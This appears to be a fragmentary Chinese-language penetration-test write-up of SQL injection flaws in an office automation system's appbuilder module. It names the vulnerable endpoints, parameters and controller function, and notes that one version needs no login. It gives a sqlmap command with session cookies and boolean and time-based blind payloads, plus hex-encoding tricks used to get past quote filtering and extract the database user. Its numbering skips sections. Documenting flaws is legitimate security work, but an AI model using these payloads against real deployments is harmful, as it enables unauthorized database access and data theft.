2、创建一个普通账户test:test123456
3.1、id参数存在sql注入
利用条件：一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入
参数位置：
/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2
webroot\general\appbuilder\modules\report\controllers\RepdetailController.php，actionEdit函数中存在 一个$_GET[“id”]; 未经过滤，拼接到SQL

3.1.1、登录test用户,构造urlhttp://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2，burp抓包，
3.1.2、sqlmap跑，sqlmap -u “http://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2” -p “id” –cookie=”PHPSESSID=mva518tjsg5errdk8toa75g8o2; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=fabef8fe” –current-db
sqlmap 的payload：布尔盲注：link_type=false&slot={}&id=(SELECT (CASE WHEN (2489=2489) THEN 2 ELSE (SELECT 2530 UNION SELECT 6370) END))
时间盲注：link_type=false&slot={}&id=2 OR (SELECT 4201 FROM (SELECT(SLEEP(5)))birR)
3.2、starttime参数

3.3.2、payload：RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))，如下图证明存在布尔盲注
3.3.3、使用手工注入，经过测试发现过滤了单引号，对r字符进行转换成16进制
3.3.4、然后依次手工尝试，获得用户名root，ps：奈何没有转换成16进制的sqlmap tamper脚本，有大佬有的分享下，比心~
3.4、id参数存在sql注入
利用条件：11.5版本无需登录
参数位置：SORT_ID，FILE_SORT

3.4.1、payload：RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))，如下图，证明存在布尔盲注
3.4.2、RLIKE (SELECT (CASE WHEN (substr(user(),1,1)=0x72) THEN 1 ELSE 0x28 END))，经过测试发现过滤了单引号，对r字符进行转换成16进制,通过手工最终获得数据库用户名root
